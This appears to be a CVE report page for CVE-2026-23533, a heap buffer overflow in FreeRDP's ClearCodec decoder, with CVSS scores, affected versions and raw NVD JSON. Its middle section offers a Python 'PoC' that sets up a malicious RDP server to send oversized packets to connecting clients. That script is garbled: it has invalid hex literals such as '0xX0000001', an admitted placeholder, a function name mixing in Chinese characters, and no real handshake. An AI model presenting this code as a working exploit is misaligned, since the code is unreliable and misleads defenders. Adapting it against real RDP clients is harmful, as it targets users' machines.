Security Vulnerability Report
中文
CVE-2026-23533 CVSS 9.8 CRITICAL

CVE-2026-23533

Published: 2026-01-19 18:16:05
Last Modified: 2026-01-28 18:46:18

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, a client-side heap buffer overflow occurs in the RDPGFX ClearCodec decode path when maliciously crafted residual data causes out-of-bounds writes during color output. A malicious server can trigger a client‑side heap buffer overflow, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.21.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23533 PoC - FreeRDP ClearCodec Heap Buffer Overflow This PoC demonstrates the vulnerability by simulating a malicious RDP server that sends crafted ClearCodec packets to trigger heap overflow on connected clients. Note: This is for educational and security testing purposes only. """ import socket import struct import time # RDPGFX Command Types RDPGFX_CMD_CLEARDEFER = 0xX (Placeholder - actual value depends on protocol) def create_malicious_clear数据包(): """ Create a malicious ClearCodec packet that triggers buffer overflow. The packet contains oversized residual data that causes OOB write. """ # Construct malformed ClearCodec packet header header = struct.pack('<I', 0xX0000001) # cmdType: RDPGFX_CLEAR_CODEC # Craft payload with excessive data size # This causes the decoder to write beyond allocated buffer payload_size = 0xX0001000 # Intentionally large size payload = b'\x41' * payload_size # Fill with non-zero data return header + payload def rdp_server_exploit(bind_host='0.0.0.0', bind_port=3389): """ Start a malicious RDP server that exploits CVE-2026-23533. """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((bind_host, bind_port)) server_socket.listen(5) print(f"[*] Malicious RDP Server listening on {bind_host}:{bind_port}") print("[*] Waiting for FreeRDP client connection...") while True: try: client_socket, client_addr = server_socket.accept() print(f"[+] Client connected from {client_addr}") # Perform RDP handshake # (Simplified - actual implementation requires full RDP protocol) # Send malicious ClearCodec packets malicious_packet = create_malicious_clear数据包() client_socket.send(malicious_packet) print("[*] Sent malicious ClearCodec packet") print("[*] If vulnerable FreeRDP client, heap overflow should occur") client_socket.close() except Exception as e: print(f"[-] Error: {e}") continue if __name__ == '__main__': print("=" * 60) print("CVE-2026-23533 FreeRDP ClearCodec Heap Buffer Overflow PoC") print("=" * 60) rdp_server_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23533", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:05.170", "lastModified": "2026-01-28T18:46:17.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, a client-side heap buffer overflow occurs in the RDPGFX ClearCodec decode path when maliciously crafted residual data causes out-of-bounds writes during color output. A malicious server can trigger a client‑side heap buffer overflow, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.21.0, se produce un desbordamiento de búfer de montón del lado del cliente en la ruta de decodificación RDPGFX ClearCodec cuando datos residuales creados maliciosamente causan escrituras fuera de límites durante la salida de color. Un servidor malicioso puede desencadenar un desbordamiento de búfer de montón del lado del cliente, causando un fallo (DoS) y una posible corrupción del montón con riesgo de ejecución de código dependiendo del comportamiento del asignador y del diseño del montón circundante. La versión 3.21.0 contiene un parche para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.21.0", "matchCriteriaId": "E6899265-905F-4A3A-96D3-07B552FBFBEC"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/clear.c#L268-L281", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/clear.c#L336", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.21.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-32q9-m5qr-9j2v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}